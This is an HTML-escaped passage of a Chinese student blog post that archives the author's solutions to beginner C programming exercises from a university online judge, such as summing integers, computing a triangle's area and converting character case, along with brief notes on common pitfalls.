class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* array_count.c - by xeonds - 2021.10.15 23:00 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i,j,num_curr,num_prev,count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(j=\u003cspan class=\"number\"\u003e0\u003c/span\u003e,count=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;j\u0026lt;i;j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(j==\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num_prev);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num_curr);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(num_curr!=num_prev)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num_prev=num_curr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,count);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e没来得及提交,不知道能不能过(\u003cbr/\u003e反正本地gcc运行是没问题的。但是OJ平台好像是VC6(叹\u003cbr/\u003e更新:已经找到题了,过了(\u003c/p\u003e\u003c/blockquote\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e第一次上机的练习题。大多数都很简单,除了一个隐式转换的坑。\u003c/em\u003e\u003c/p\u003e\u003ch3 id=\"2-A-B-C\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#2-A-B-C\" class=\"headerlink\" title=\"2.A+B+C\"\u003e\u003c/a\u003e2.A+B+C\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a,b,c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\u0026#34;\u003c/span\u003e,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,a+b+c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"3-求三角形面积\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#3-%E6%B1%82%E4%B8%89%E8%A7%92%E5%BD%A2%E9%9D%A2%E7%A7%AF\" class=\"headerlink\" title=\"3.求三角形面积\"\u003e\u003c/a\u003e3.求三角形面积\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* calc triangle area - by xeonds */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;math.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e a,b,c,p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f %f %f\u0026#34;\u003c/span\u003e,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p=(a+b+c)/\u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e,\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(p*(p-a)*(p-b)*(p-c)));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"4-整数简单运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#4-%E6%95%B4%E6%95%B0%E7%AE%80%E5%8D%95%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"4.整数简单运算\"\u003e\u003c/a\u003e4.整数简单运算\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a,b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e,\u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n%d\\n%d\\n%d\\n\u0026#34;\u003c/span\u003e,a+b,a-b,a*b,a/b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"5-字符输入输出\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#5-%E5%AD%97%E7%AC%A6%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA\" class=\"headerlink\" title=\"5.字符输入输出\"\u003e\u003c/a\u003e5.字符输入输出\u003c/h3\u003e\u003cp\u003e这里注意下,字母大小写转换可以用ascii码的方式进行,也可以用二进制格式按位操作的方式完成。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;\u003cspan class=\"number\"\u003e9\u003c/span\u003e;i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch=getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(i%\u003cspan class=\"number\"\u003e2\u003c/span\u003e==\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch+\u003cspan class=\"number\"\u003e32\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"6-计算长方体体积\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#6-%E8%AE%A1%E7%AE%97%E9%95%BF%E6%96%B9%E4%BD%93%E4%BD%93%E7%A7%AF\" class=\"headerlink\" title=\"6.计算长方体体积\"\u003e\u003c/a\u003e6.计算长方体体积\u003c/h3\u003e\u003cp\u003e注意,转换说明要和数据类型匹配。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e a,b,c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f %f %f\u0026#34;\u003c/span\u003e,\u0026amp;a,\u0026amp;b,\u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.3f\u0026#34;\u003c/span\u003e,a*b*c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"7-数字字符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#7-%E6%95%B0%E5%AD%97%E5%AD%97%E7%AC%A6\" class=\"headerlink\" title=\"7.数字字符\"\u003e\u003c/a\u003e7.数字字符\u003c/h3\u003e\u003cp\u003e这里不能用减的原因是,减有可能会产生负数,这在ascii码体系中是未定义的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* int add char - by xeonds */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a,ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d,%d\u0026#34;\u003c/span\u003e,\u0026amp;a,\u0026amp;ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d,%d\u0026#34;\u003c/span\u003e,a+ch+\u003cspan class=\"number\"\u003e48\u003c/span\u003e,a+ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan 